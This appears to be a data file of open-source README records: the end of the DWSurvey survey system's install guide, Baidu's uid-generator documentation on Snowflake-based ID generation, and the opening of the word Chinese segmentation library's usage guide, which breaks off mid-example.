社区版 </div> <div> ️ 全新的 <strong>社区版</strong> 也已经发布,前后端分别采用Vue、ElementUI、Spring Boot,详情可前往体验。 <p>社区版文档地址:<a href="https://www.diaowen.net/docs">https://www.diaowen.net/docs</a></p> [comment]: <> (<p>社区版体验地址:<a href="https://oss.surveyform.cn">https://oss.surveyform.cn</a></p>) </div> </div> <p style="color: #333;">后续我们将持续迭代更新,<strong>并有专人维护</strong>,敬请关注,别忘了<a href="https://gitee.com/wkeyuan/DWSurvey">点下源码仓库</a> 右上角Star关注,便于下次查找。</p> ### 快速安装(一行命令完成) 1、下载调问问卷社区版安装包 最新的JAR包放在QQ群3(`811287103`已满),请加群4(`398556555`),加群备注`安装包`。 2、输入启动命令 ``` cmd java -Dfile.encoding=utf-8 -jar dwsurvey-oss-vue-v.*.*.jar --server.port=8080 --spring.datasource.username=root --spring.datasource.password=123456 ``` 3、打开浏览器访问 http://localhost:8080,输入账号密码: service@diaowen.net/123456 ``` js //可选,文件编码,windows上如果有乱码则使用,linux一般不会出现 -Dfile.encoding=utf-8 //必填,安装包名称, 后面的v.*.*.jar依据您下载的最新安装包来定。 dwsurvey-oss-vue-v.*.*.jar //可选,指定启动服务占用的端口,默认值8080 --server.port=8080 //可选,数据库账号,默认值为root --spring.datasource.username=root //可选,数据库账密码,默认值123456,. --spring.datasource.password=123456 ``` 更详细参数说明请查看[配置说明文档](http://www.diaowen.net/docs/) ## 特性 ![输入图片说明](https://images.gitee.com/uploads/images/2021/0416/132431_5d99a296_1401416.gif "dwsurvey-2.gif") ### 汇总 * 多种技术方案,满足不同的技术选型需求 * 完善的浏览器兼容、保证传统客户也能正常使用 * 部署简单,一行命令完成部署 * 更新方便,直接替换原安装文件不用担心数据被覆盖 * 最高支持多达40多种题型,如单选题、多选题、填空题、评分题、排序题、分页、分段... * 可见即所得设计理念、所有内容支持快速富文本编辑 * 多种端适配,不管是PC还是移动端同一个地址系统自动适配 * 支持答卷密码、结束跳转、仅微信答卷限制等 * 数据实时统计,答卷的数据以可视化的方案展现,不同的统计图表 * 后端满足JPA规范,为未来支持更多数据库提供条件 * 成熟稳定,经过多年技术发展,技术体系完善 * 完善的支持服务,QQ群,微信群全天24小时技术服务 ### 完善的浏览器兼容 **支持现代浏览器和IE6** 在实际收集问卷过程中,不是所有用户都会安装最新的浏览器,DWSurvey在答卷端支持所有的浏览器环境,方案B、方案C更是全站完全支持 | IE / Edge | Firefox | Chrome | Safari | Opera | | :-----| ----: | :----: | :----: | :----: | | IE6+,Edge | 支持 | 支持 | 支持 | 支持 | ### 各技术方案简介 <table> <tr><th><strong>方案A</strong></th><th colspan="2" align="left"><strong>前后端分离,基于 Vue、Element ui、Spring Boot</strong></th></tr> <tr><td colspan="3">方案特性:基于VUE、前后分离开发更容易,部署维护更简单</td></tr> <tr><td rowspan="2">前端</td><td>Gitee</td><td><a href="https://gitee.com/wkeyuan/dwsurvey-vue">https://gitee.com/wkeyuan/dwsurvey-vue</a></td></tr> <tr><td>GitHub</td><td><a href="https://github.com/wkeyuan/DWSurvey_Vue">https://github.com/wkeyuan/DWSurvey_Vue</a></td></tr> <tr><td rowspan="2">后端</td><td>Gitee</td><td><a href="https://gitee.com/wkeyuan/DWSurvey">https://gitee.com/wkeyuan/DWSurvey</a></td></tr> <tr><td>GitHub</td><td><a href="https://github.com/wkeyuan/DWSurvey">https://github.com/wkeyuan/DWSurvey</a></td></tr> <tr><th><strong>方案B</strong></th><th colspan="2" align="left"><strong>Spring Boot + JSP</strong></th></tr> <tr><td colspan="3">方案特性: 原生JS+HTML技术,支持更多浏览器,如IE6</td></tr> <tr><td colspan="1">Gitee</td><td colspan="2"><a href="https://gitee.com/wkeyuan/dwsurvey-springboot-jsp">https://gitee.com/wkeyuan/dwsurvey-springboot-jsp</a></td></tr> <tr><td colspan="1">GitHub</td><td colspan="2"><a href="https://gitee.com/wkeyuan/dwsurvey-springboot-jsp">https://gitee.com/wkeyuan/dwsurvey-springboot-jsp</a></td></tr> <tr><th><strong>方案C</strong></th><th colspan="2" align="left"><strong>Struts2 + JSP</strong></th></tr> <tr><td colspan="3">方案特性: 原生JS+HTML技术,支持更多浏览器,如IE6 |</td></tr> <tr><td colspan="1">Gitee</td><td colspan="2"><a href="https://gitee.com/wkeyuan/dwsurvey-struts2-jsp">https://gitee.com/wkeyuan/dwsurvey-struts2-jsp</a></td></tr> <tr><td colspan="1">GitHub</td><td colspan="2"><a href="https://gitee.com/wkeyuan/dwsurvey-struts2-jsp">https://gitee.com/wkeyuan/dwsurvey-struts2-jsp</a></td></tr> </table> ## 各版本简介 我们提供各种不版本及服务,保证您不同场景的需求都得到满足 | 版本 | 特性及地址 | | :-----| ---- | | 社区版 | 源码全量开源,可独立部署,可二次开发 | | 官网地址 | [http://www.diaowen.net](http://www.diaowen.net) | | 企业版 | 源码全量开源,前后端分离,可独立部署,可二次开发 | | 企业版地址 | [http://ent.surveyform.cn](http://ent.surveyform.cn) | | 在线平台 | 提供标准API,可快速集成到应用中,功能更丰富,不需要部署,可直接发布问卷收集 | | 平台地址 | [https://www.surveyform.cn](https://www.surveyform.cn) | 下面是如何使用Spring Boot方案的快速指南。 ## 本地开发 环境版本:jdk1.8, tomcat8.5.59 ### 基本步骤 1、下载代码后 具体代码地址参考[多种技术方案](#多种技术方案) 2、创建数据库进行初始化 数据库脚本在resources/sql/目录下的dwsurvey.sql数据库脚本文件,如下: https://gitee.com/wkeyuan/DWSurvey/blob/master/src/main/resources/conf/sql/ 说明:升级后的数据库与老版本兼容 3、用IDEA打开,进行本地开发 现在您可以进行本地开发了 4、开发完成,编译打包 进入 `cd DWSurvey`: ```bash mvn package ``` 配置文件地址 源码配置文件地址 resources/application-***.yml war包配置文件地址 /dwsurvey-oss-v.4.0/WEB-INF/classes/application-dev.yml #database settings datasource: url: jdbc:mysql://localhost:3306/dwsurvey_21test?useUnicode=true&characterEncoding=utf8 username: root password: 123456,. 分别修改```url、username、password``` 5、启动浏览器访问 输入 http://localhost:8080 初始账号:```service@diaowen.net``` 密码:```123456``` ## 特色 ### 全新体验、流程简单 以一种全新的设计体验,告别繁琐的设计流程,通过简单有趣的方式,轻轻松松完成问卷设计,多种技术方案,只为呈现更精美的表单问卷. 丰富的题型支持,通过拖拽即可完成题目选择,并可以随意拖动其位置,还可置入所需图片、企业LOGO、设置答题逻辑,一份优美的问卷就是这么简单。 ![我的问卷](src/main/resources/static/img/WX20211203-092339@2x.png) ![问卷编辑](src/main/resources/static/img/WX20211203-092358@2x.png) ![问卷预览](src/main/resources/static/img/WX20211203-092406@2x.png) ![答卷地址](src/main/resources/static/img/WX20211203-092416@2x.png) ![答卷规则](src/main/resources/static/img/WX20211203-092427@2x.png) ![数据统计](src/main/resources/static/img/WX20211203-092439@2x.png) ![原始数据](src/main/resources/static/img/WX20211203-092458@2x.png) ## 有问题怎么办? 对于调问网问卷系统安装及使用的问题,可以在用户交流群里,向作者或其它同学提问。 调问网交流QQ群 ```群1:635994795(满)```,```群2:301105635(满)```, ```群3:811287103(满)```,群4:398556555(可加)(加群时请说明来由) 微信公众号 <img src="http://www.diaowen.net/images/dw_ewm.png" alt="图片替换文本" width="200" height="200" align="top" /> ## 源代码地址 gitee: http://gitee.com/wkeyuan/DWSurvey github: https://github.com/wkeyuan/DWSurvey ## 开源协议 DWSurvey以通用公共许可证AGPL3.0为开源协议,需要更优质的服务可以购买我们的商业版与企业版! - - - ## 关于调问网 没事喜欢瞎折腾,业余时间也想做点有意思的事情,同时对产品也比较感兴趣,一翻调研之后就决定来做个问卷系统。 于是便利用业余时间来做这款问卷表单平台,因为在2012的时候,国内的问卷系统都还比较初级,问卷设计流程复杂,页面也不美观。 所以就开始边调研、边画原型、边写前后端代码,最初的想法是一定要好用美观,在这之后的一年里就不断的设计开发,前前后后修改过3个版本。 - - - ## 作者 柯远 ```keyuan258@gmail.com``` ### 谢谢您的支持 觉得不错就点下右上角的star,随时关注我们的动态,非常感谢!
0
baidu/uid-generator
UniqueID generator
null
UidGenerator ========================== [In Chinese 中文版](README.zh_cn.md) UidGenerator is a Java implemented, [Snowflake](https://github.com/twitter/snowflake) based unique ID generator. It works as a component, and allows users to override workId bits and initialization strategy. As a result, it is much more suitable for virtualization environment, such as [docker](https://www.docker.com/). Besides these, it overcomes concurrency limitation of Snowflake algorithm by consuming future time; parallels UID produce and consume by caching UID with RingBuffer; eliminates CacheLine pseudo sharing, which comes from RingBuffer, via padding. And finally, it can offer over <font color=red>6 million</font> QPS per single instance. Requires:[Java8](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)+, [MySQL](https://dev.mysql.com/downloads/mysql/)(Default implement as WorkerID assigner; If there are other implements, MySQL is not required) Snowflake ------------- ![Snowflake](doc/snowflake.png) ** Snowflake algorithm:** An unique id consists of worker node, timestamp and sequence within that timestamp. Usually, it is a 64 bits number(long), and the default bits of that three fields are as follows: * sign(1bit) The highest bit is always 0. * delta seconds (28 bits) The next 28 bits, represents delta seconds since a customer epoch(2016-05-20). The maximum time will be 8.7 years. * worker id (22 bits) The next 22 bits, represents the worker node id, maximum value will be 4.2 million. UidGenerator uses a build-in database based ```worker id assigner``` when startup by default, and it will dispose previous work node id after reboot. Other strategy such like 'reuse' is coming soon. * sequence (13 bits) the last 13 bits, represents sequence within the one second, maximum is 8192 per second by default. **The parameters above can be configured in spring bean** CachedUidGenerator ------------------- RingBuffer is an array,each item of that array is called 'slot', every slot keeps a uid or a flag(Double RingBuffer). The size of RingBuffer is 2^<sup>n</sup>, where n is positive integer and equal or greater than bits of ```sequence```. Assign bigger value to ```boostPower``` if you want to enlarge RingBuffer to improve throughput. ###### Tail & Cursor pointer * Tail Pointer Represents the latest produced UID. If it catches up with cursor, the ring buffer will be full, at that moment, no put operation should be allowed, you can specify a policy to handle it by assigning property ```rejectedPutBufferHandler```. * Cursor Pointer Represents the latest already consumed UID. If cursor catches up with tail, the ring buffer will be empty, and any take operation will be rejected. you can also specify a policy to handle it by assigning property ```rejectedTakeBufferHandler```. ![RingBuffer](doc/ringbuffer.png) CachedUidGenerator used double RingBuffer,one RingBuffer for UID, another for status(if valid for take or put) Array can improve performance of reading, due to the CUP cache mechanism. At the same time, it brought the side effect of 「False Sharing」, in order to solve it, cache line padding is applied. ![FalseSharing](doc/cacheline_padding.png) #### RingBuffer filling * Initialization padding During RingBuffer initializing,the entire RingBuffer will be filled. * In-time filling Whenever the percent of available UIDs is less than threshold ```paddingFactor```, the fill task is triggered. You can reassign that threshold in Spring bean configuration. * Periodic filling Filling periodically in a scheduled thread. The```scheduleInterval``` can be reassigned in Spring bean configuration. Quick Start ------------ Here we have a demo with 4 steps to introduce how to integrate UidGenerator into Spring based projects.<br/> ### Step 1: Install Java8, Maven, MySQL If you have already installed maven, jdk8+ and Mysql or other DB which supported by Mybatis, just skip to next.<br/> Download [Java8](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html), [MySQL](https://dev.mysql.com/downloads/mysql/) and [Maven](https://maven.apache.org/download.cgi), and install jdk, mysql. For maven, extracting and setting MAVEN_HOME is enough. #### Set JAVA_HOME & MAVEN_HOME Here is a sample script to set JAVA_HOME and MAVEN_HOME ```shell export MAVEN_HOME=/xxx/xxx/software/maven/apache-maven-3.3.9 export PATH=$MAVEN_HOME/bin:$PATH JAVA_HOME="/Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home"; export JAVA_HOME; ``` ### Step 2: Create table WORKER_NODE Replace ```xxxxx``` with real database name, and run following script to create table, ```sql DROP DATABASE IF EXISTS `xxxx`; CREATE DATABASE `xxxx` ; use `xxxx`; DROP TABLE IF EXISTS WORKER_NODE; CREATE TABLE WORKER_NODE ( ID BIGINT NOT NULL AUTO_INCREMENT COMMENT 'auto increment id', HOST_NAME VARCHAR(64) NOT NULL COMMENT 'host name', PORT VARCHAR(64) NOT NULL COMMENT 'port', TYPE INT NOT NULL COMMENT 'node type: ACTUAL or CONTAINER', LAUNCH_DATE DATE NOT NULL COMMENT 'launch date', MODIFIED TIMESTAMP NOT NULL COMMENT 'modified time', CREATED TIMESTAMP NOT NULL COMMENT 'created time', PRIMARY KEY(ID) ) COMMENT='DB WorkerID Assigner for UID Generator',ENGINE = INNODB; ``` Reset property of 'jdbc.url', 'jdbc.username' and 'jdbc.password' in [mysql.properties](src/test/resources/uid/mysql.properties). ### Step 3: Spring configuration #### DefaultUidGenerator There are two implements of UidGenerator: [DefaultUidGenerator](src/main/java/com/baidu/fsg/uid/impl/DefaultUidGenerator.java), [CachedUidGenerator](src/main/java/com/baidu/fsg/uid/impl/CachedUidGenerator.java).<br/> For performance sensitive application, CachedUidGenerator is recommended. ```xml <!-- DefaultUidGenerator --> <bean id="defaultUidGenerator" class="com.baidu.fsg.uid.impl.DefaultUidGenerator" lazy-init="false"> <property name="workerIdAssigner" ref="disposableWorkerIdAssigner"/> <!-- Specified bits & epoch as your demand. No specified the default value will be used --> <property name="timeBits" value="29"/> <property name="workerBits" value="21"/> <property name="seqBits" value="13"/> <property name="epochStr" value="2016-09-20"/> </bean> <!-- Disposable WorkerIdAssigner based on Database --> <bean id="disposableWorkerIdAssigner" class="com.baidu.fsg.uid.worker.DisposableWorkerIdAssigner" /> ``` #### CachedUidGenerator Copy beans of CachedUidGenerator to 'test/resources/uid/cached-uid-spring.xml'. ```xml <!-- CachedUidGenerator --> <bean id="cachedUidGenerator" class="com.baidu.fsg.uid.impl.CachedUidGenerator"> <property name="workerIdAssigner" ref="disposableWorkerIdAssigner" /> <!-- The config below is option --> <!-- Specified bits & epoch as your demand. No specified the default value will be used --> <property name="timeBits" value="29"/> <property name="workerBits" value="21"/> <property name="seqBits" value="13"/> <property name="epochStr" value="2016-09-20"/> <!-- RingBuffer size, to improve the throughput. --> <!-- Default as 3. Sample: original bufferSize=8192, after boosting the new bufferSize= 8192 << 3 = 65536 --> <property name="boostPower" value="3"></property> <!-- In-time padding, available UIDs percentage(0, 100) of the RingBuffer, default as 50 --> <!-- Sample: bufferSize=1024, paddingFactor=50 -> threshold=1024 * 50 / 100 = 512. --> <!-- When the rest available UIDs < 512, RingBiffer will be padded in-time --> <property name="paddingFactor" value="50"></property> <!-- Periodic padding --> <!-- Default is disabled. Enable as below, scheduleInterval unit as Seconds. --> <property name="scheduleInterval" value="60"></property> <!-- Policy for rejecting put on RingBuffer --> <property name="rejectedPutBufferHandler" ref="XxxxYourPutRejectPolicy"></property> <!-- Policy for rejecting take from RingBuffer --> <property name="rejectedTakeBufferHandler" ref="XxxxYourTakeRejectPolicy"></property> </bean> <!-- Disposable WorkerIdAssigner based on Database --> <bean id="disposableWorkerIdAssigner" class="com.baidu.fsg.uid.worker.DisposableWorkerIdAssigner" /> <!-- Mybatis config... --> ``` #### Mybatis config [mybatis-spring.xml](src/test/resources/uid/mybatis-spring.xml) shows as below: ```xml <!-- Spring annotation scan --> <context:component-scan base-package="com.baidu.fsg.uid" /> <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean"> <property name="dataSource" ref="dataSource" /> <property name="mapperLocations" value="classpath:/META-INF/mybatis/mapper/M_WORKER*.xml" /> </bean> <!-- transaction --> <tx:annotation-driven transaction-manager="transactionManager" order="1" /> <bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"> <property name="dataSource" ref="dataSource" /> </bean> <!-- Mybatis Mapper scan --> <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer"> <property name="annotationClass" value="org.springframework.stereotype.Repository" /> <property name="basePackage" value="com.baidu.fsg.uid.worker.dao" /> <property name="sqlSessionFactoryBeanName" value="sqlSessionFactory" /> </bean> <!-- datasource config --> <bean id="dataSource" parent="abstractDataSource"> <property name="driverClassName" value="${mysql.driver}" /> <property name="maxActive" value="${jdbc.maxActive}" /> <property name="url" value="${jdbc.url}" /> <property name="username" value="${jdbc.username}" /> <property name="password" value="${jdbc.password}" /> </bean> <bean id="abstractDataSource" class="com.alibaba.druid.pool.DruidDataSource" destroy-method="close"> <property name="filters" value="${datasource.filters}" /> <property name="defaultAutoCommit" value="${datasource.defaultAutoCommit}" /> <property name="initialSize" value="${datasource.initialSize}" /> <property name="minIdle" value="${datasource.minIdle}" /> <property name="maxWait" value="${datasource.maxWait}" /> <property name="testWhileIdle" value="${datasource.testWhileIdle}" /> <property name="testOnBorrow" value="${datasource.testOnBorrow}" /> <property name="testOnReturn" value="${datasource.testOnReturn}" /> <property name="validationQuery" value="${datasource.validationQuery}" /> <property name="timeBetweenEvictionRunsMillis" value="${datasource.timeBetweenEvictionRunsMillis}" /> <property name="minEvictableIdleTimeMillis" value="${datasource.minEvictableIdleTimeMillis}" /> <property name="logAbandoned" value="${datasource.logAbandoned}" /> <property name="removeAbandoned" value="${datasource.removeAbandoned}" /> <property name="removeAbandonedTimeout" value="${datasource.removeAbandonedTimeout}" /> </bean> <bean id="batchSqlSession" class="org.mybatis.spring.SqlSessionTemplate"> <constructor-arg index="0" ref="sqlSessionFactory" /> <constructor-arg index="1" value="BATCH" /> </bean> ``` ### Step 4: Run UnitTest Run [CachedUidGeneratorTest](src/test/java/com/baidu/fsg/uid/CachedUidGeneratorTest.java), shows how to generate / parse UniqueID: ```java @Resource private UidGenerator uidGenerator; @Test public void testSerialGenerate() { // Generate UID long uid = uidGenerator.getUID(); // Parse UID into [Timestamp, WorkerId, Sequence] // {"UID":"180363646902239241","parsed":{ "timestamp":"2017-01-19 12:15:46", "workerId":"4", "sequence":"9" }} System.out.println(uidGenerator.parseUID(uid)); } ``` ### Tips For low concurrency and long term application, less ```seqBits``` but more ```timeBits``` is recommended. For example, if DisposableWorkerIdAssigner is adopted and the average reboot frequency is 12 per node per day, with the configuration ```{"workerBits":23,"timeBits":31,"seqBits":9}```, one project can run for 68 years with 28 nodes and entirely concurrency 14400 UID/s. For frequent reboot and long term application, less ```seqBits``` but more ```timeBits``` and ```workerBits``` is recommended. For example, if DisposableWorkerIdAssigner is adopted and the average reboot frequency is 24 * 12 per node per day, with the configuration ```{"workerBits":27,"timeBits":30,"seqBits":6}```, one project can run for 34 years with 37 nodes and entirely concurrency 2400 UID/s. #### Experiment for Throughput To figure out CachedUidGenerator's UID throughput, some experiments are carried out.<br/> Firstly, workerBits is arbitrarily fixed to 20, and change timeBits from 25(about 1 year) to 32(about 136 years),<br/> |timeBits|25|26|27|28|29|30|31|32| |:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| |throughput|6,831,465|7,007,279|6,679,625|6,499,205|6,534,971|7,617,440|6,186,930|6,364,997| ![throughput1](doc/throughput1.png) Then, timeBits is arbitrarily fixed to 31, and workerBits is changed from 20(about 1 million total reboots) to 29(about 500 million total reboots),<br/> |workerBits|20|21|22|23|24|25|26|27|28|29| |:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| |throughput|6,186,930|6,642,727|6,581,661|6,462,726|6,774,609|6,414,906|6,806,266|6,223,617|6,438,055|6,435,549| ![throughput2](doc/throughput2.png) It is obvious that whatever the configuration is, CachedUidGenerator always has the ability to provide **6 million** stable throughput, what sacrificed is just life expectancy, this is very cool. Finally, both timeBits and workerBits are fixed to 31 and 23 separately, and change the number of CachedUidGenerator consumer. Since our CPU only has 4 cores, \[1, 8\] is chosen.<br/> |consumers|1|2|3|4|5|6|7|8| |:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| |throughput|6,462,726|6,542,259|6,077,717|6,377,958|7,002,410|6,599,113|7,360,934|6,490,969| ![throughput3](doc/throughput3.png)
0
ysc/word
Java分布式中文分词组件 - word分词
null
### Java分布式中文分词组件 - word分词 #### word分词是一个Java实现的分布式的中文分词组件,提供了多种基于词典的分词算法,并利用ngram模型来消除歧义。能准确识别英文、数字,以及日期、时间等数量词,能识别人名、地名、组织机构名等未登录词。能通过自定义配置文件来改变组件行为,能自定义用户词库、自动检测词库变化、支持大规模分布式环境,能灵活指定多种分词算法,能使用refine功能灵活控制分词结果,还能使用词频统计、词性标注、同义标注、反义标注、拼音标注等功能。提供了10种分词算法,还提供了10种文本相似度算法,同时还无缝和Lucene、Solr、ElasticSearch、Luke集成。注意:word1.3需要JDK1.8 ### [捐赠致谢](https://github.com/ysc/QuestionAnsweringSystem/wiki/donation) ### API在线文档: [word 1.0 API](http://apdplat.org/word/apidocs/1.0/) [word 1.1 API](http://apdplat.org/word/apidocs/1.1/) [word 1.2 API](http://apdplat.org/word/apidocs/1.2/) [word 1.3 API](http://apdplat.org/word/apidocs/1.3/) ### [编译好的jar包下载](https://pan.baidu.com/s/1eisJUL47fmYZYgsdINXX4w) 提取码: ku8i ### Maven依赖: 在pom.xml中指定dependency,可用版本有1.0、1.1、1.2、1.3、1.3.1: <dependencies> <dependency> <groupId>org.apdplat</groupId> <artifactId>word</artifactId> <version>1.3</version> </dependency> </dependencies> word 1.3.1这个版本是从代码分支[ForElasticsearch1.7.2](https://github.com/ysc/word/tree/ForElasticsearch1.7.2/)中编译出来的,主要目的是支持 与lucene4.10.4、solr4.10.4和elasticsearch1.7.2兼容的版本。 ### 分词使用方法: #### 1、快速体验 运行项目根目录下的脚本demo-word.bat可以快速体验分词效果 用法: command [text] [input] [output] 命令command的可选值为:demo、text、file demo text 杨尚川是APDPlat应用级产品开发平台的作者 file d:/text.txt d:/word.txt exit #### 2、对文本进行分词 移除停用词:List<Word> words = WordSegmenter.seg("杨尚川是APDPlat应用级产品开发平台的作者"); 保留停用词:List<Word> words = WordSegmenter.segWithStopWords("杨尚川是APDPlat应用级产品开发平台的作者"); System.out.println(words); 输出: 移除停用词:[杨尚川, apdplat, 应用级, 产品, 开发平台, 作者] 保留停用词:[杨尚川, 是, apdplat, 应用级, 产品, 开发平台, 的, 作者] #### 3、对文件进行分词 String input = "d:/text.txt"; String output = "d:/word.txt"; 移除停用词:WordSegmenter.seg(new File(input), new File(output)); 保留停用词:WordSegmenter.segWithStopWords(new File(input), new File(output)); #### 4、自定义配置文件 默认配置文件为类路径下的word.conf,打包在word-x.x.jar中 自定义配置文件为类路径下的word.local.conf,需要用户自己提供 如果自定义配置和默认配置相同,自定义配置会覆盖默认配置 配置文件编码为UTF-8 #### 5、自定义用户词库 自定义用户词库为一个或多个文件夹或文件,可以使用绝对路径或相对路径 用户词库由多个词典文件组成,文件编码为UTF-8 词典文件的格式为文本文件,一行代表一个词 可以通过系统属性或配置文件的方式来指定路径,多个路径之间用逗号分隔开 类路径下的词典文件,需要在相对路径前加入前缀classpath: 指定方式有三种: 指定方式一,编程指定(高优先级): WordConfTools.set("dic.path", "classpath:dic.txt,d:/custom_dic"); DictionaryFactory.reload();//更改词典路径之后,重新加载词典 指定方式二,Java虚拟机启动参数(中优先级): java -Ddic.path=classpath:dic.txt,d:/custom_dic 指定方式三,配置文件指定(低优先级): 使用类路径下的文件word.local.conf来指定配置信息 dic.path=classpath:dic.txt,d:/custom_dic 如未指定,则默认使用类路径下的dic.txt词典文件 除此之外, 还可以在程序中用代码维护词库, 方法如下: // 单个操作 // 添加一个自定义词 DictionaryFactory.getDictionary().add("杨尚川"); // 删除一个自定义词 DictionaryFactory.getDictionary().remove("刘诗诗"); // 批量操作 List<String> words = new ArrayList<>(); words.add("刘德华"); words.add("景甜"); words.add("赵丽颖"); // 添加一批自定义词 DictionaryFactory.getDictionary().addAll(words); // 删除一批自定义词 DictionaryFactory.getDictionary().removeAll(words); #### 6、自定义停用词词库 使用方式和自定义用户词库类似,配置项为: stopwords.path=classpath:stopwords.txt,d:/custom_stopwords_dic #### 7、自动检测词库变化 可以自动检测自定义用户词库和自定义停用词词库的变化 包含类路径下的文件和文件夹、非类路径下的绝对路径和相对路径 如: classpath:dic.txt,classpath:custom_dic_dir, d:/dic_more.txt,d:/DIC_DIR,D:/DIC2_DIR,my_dic_dir,my_dic_file.txt classpath:stopwords.txt,classpath:custom_stopwords_dic_dir, d:/stopwords_more.txt,d:/STOPWORDS_DIR,d:/STOPWORDS2_DIR,stopwords_dir,remove.txt #### 8、显式指定分词算法 对文本进行分词时,可显式指定特定的分词算法,如: WordSegmenter.seg("APDPlat应用级产品开发平台", SegmentationAlgorithm.BidirectionalMaximumMatching); SegmentationAlgorithm的可选类型为: 正向最大匹配算法:MaximumMatching 逆向最大匹配算法:ReverseMaximumMatching 正向最小匹配算法:MinimumMatching 逆向最小匹配算法:ReverseMinimumMatching 双向最大匹配算法:BidirectionalMaximumMatching 双向最小匹配算法:BidirectionalMinimumMatching 双向最大最小匹配算法:BidirectionalMaximumMinimumMatching 全切分算法:FullSegmentation 最少词数算法:MinimalWordCount 最大Ngram分值算法:MaxNgramScore #### 9、分词效果评估 运行项目根目录下的脚本evaluation.bat可以对分词效果进行评估 评估采用的测试文本有253 3709行,共2837 4490个字符 评估结果位于target/evaluation目录下: corpus-text.txt为分好词的人工标注文本,词之间以空格分隔 test-text.txt为测试文本,是把corpus-text.txt以标点符号分隔为多行的结果 standard-text.txt为测试文本对应的人工标注文本,作为分词是否正确的标准 result-text-***.txt,***为各种分词算法名称,这是word分词结果 perfect-result-***.txt,***为各种分词算法名称,这是分词结果和人工标注标准完全一致的文本 wrong-result-***.txt,***为各种分词算法名称,这是分词结果和人工标注标准不一致的文本 #### 10、分布式中文分词器 1、在自定义配置文件word.conf或word.local.conf中指定所有的配置项*.path使用HTTP资源,同时指定配置项redis.* #词典 dic.path=http://localhost:8080/word_web/resources/dic.txt #词性标注数据 part.of.speech.dic.path=http://localhost:8080/word_web/resources/part_of_speech_dic.txt #词性说明数据 part.of.speech.des.path=http://localhost:8080/word_web/resources/part_of_speech_des.txt #二元模型 bigram.path=http://localhost:8080/word_web/resources/bigram.txt #三元模型 trigram.path=http://localhost:8080/word_web/resources/trigram.txt #停用词词典 stopwords.path=http://localhost:8080/word_web/resources/stopwords.txt #用于分割词的标点符号 punctuation.path=http://localhost:8080/word_web/resources/punctuation.txt #百家姓 surname.path=http://localhost:8080/word_web/resources/surname.txt #数量词 quantifier.path=http://localhost:8080/word_web/resources/quantifier.txt #是否使用redis的发布订阅服务来实时检测HTTP资源变更 redis.enable=false #redis服务,用于实时检测HTTP资源变更 #redis主机 redis.host=localhost #redis端口 redis.port=6379 2、配置并启动redis服务器 所有的分词器都会订阅redis服务器, 当redis服务器收到用户对资源的新增或删除指令后, 会通知所有的分词器进行相应的操作 3、配置并启动提供HTTP资源的web服务器,即将项目:https://github.com/ysc/word_web 部署到tomcat的8080端口 // 通知所有的分词器增加"杨尚川"这个词 http://localhost:8080/word_web/admin/dic.jsp?action=add&dic=杨尚川 // 通知所有的分词器删除"笔记本"这个词 http://localhost:8080/word_web/admin/dic.jsp?action=remove&dic=笔记本 dic.jsp收到用户的请求后会将消息投递到redis服务器, redis服务器在发布消息给所有订阅的分词器 #### 11、词性标注 将分词结果作为输入参数,调用PartOfSpeechTagging类的process方法,词性保存在Word类的partOfSpeech字段中 如下所示: List<Word> words = WordSegmenter.segWithStopWords("我爱中国"); System.out.println("未标注词性:"+words); //词性标注 PartOfSpeechTagging.process(words); System.out.println("标注词性:"+words); 输出内容: 未标注词性:[我, 爱, 中国] 标注词性:[我/r, 爱/v, 中国/ns] #### 12、refine 我们看一个切分例子: List<Word> words = WordSegmenter.segWithStopWords("我国工人阶级和广大劳动群众要更加紧密地团结在党中央周围"); System.out.println(words); 结果如下: [我国, 工人阶级, 和, 广大, 劳动群众, 要, 更加, 紧密, 地, 团结, 在, 党中央, 周围] 假如我们想要的切分结果是: [我国, 工人, 阶级, 和, 广大, 劳动, 群众, 要, 更加, 紧密, 地, 团结, 在, 党中央, 周围] 也就是要把“工人阶级”细分为“工人 阶级”,把“劳动群众”细分为“劳动 群众”,那么我们该怎么办呢? 我们可以通过在word.refine.path配置项指定的文件classpath:word_refine.txt中增加以下内容: 工人阶级=工人 阶级 劳动群众=劳动 群众 然后,我们对分词结果进行refine: words = WordRefiner.refine(words); System.out.println(words); 这样,就能达到我们想要的效果: [我国, 工人, 阶级, 和, 广大, 劳动, 群众, 要, 更加, 紧密, 地, 团结, 在, 党中央, 周围] 我们再看一个切分例子: List<Word> words = WordSegmenter.segWithStopWords("在实现“两个一百年”奋斗目标的伟大征程上再创新的业绩"); System.out.println(words); 结果如下: [在, 实现, 两个, 一百年, 奋斗目标, 的, 伟大, 征程, 上, 再创, 新的, 业绩] 假如我们想要的切分结果是: [在, 实现, 两个一百年, 奋斗目标, 的, 伟大征程, 上, 再创, 新的, 业绩] 也就是要把“两个 一百年”合并为“两个一百年”,把“伟大, 征程”合并为“伟大征程”,那么我们该怎么办呢? 我们可以通过在word.refine.path配置项指定的文件classpath:word_refine.txt中增加以下内容: 两个 一百年=两个一百年 伟大 征程=伟大征程 然后,我们对分词结果进行refine: words = WordRefiner.refine(words); System.out.println(words); 这样,就能达到我们想要的效果: [在, 实现, 两个一百年, 奋斗目标, 的, 伟大征程, 上, 再创, 新的, 业绩] #### 13、同义标注 List<Word> words = WordSegmenter.segWithStopWords("楚离陌千方百计为无情找回记忆"); System.out.println(words); 结果如下: [楚离陌, 千方百计, 为, 无情, 找回, 记忆] 做同义标注: SynonymTagging.process(words); System.out.println(words); 结果如下: [楚离陌, 千方百计[久有存心, 化尽心血, 想方设法, 费尽心机], 为, 无情, 找回, 记忆[影象]] 如果启用间接同义词: SynonymTagging.process(words, false); System.out.println(words); 结果如下: [楚离陌, 千方百计[久有存心, 化尽心血, 想方设法, 费尽心机], 为, 无情, 找回, 记忆[影像, 影象]] List<Word> words = WordSegmenter.segWithStopWords("手劲大的老人往往更长寿"); System.out.println(words); 结果如下: [手劲, 大, 的, 老人, 往往, 更, 长寿] 做同义标注: SynonymTagging.process(words); System.out.println(words); 结果如下: [手劲, 大, 的, 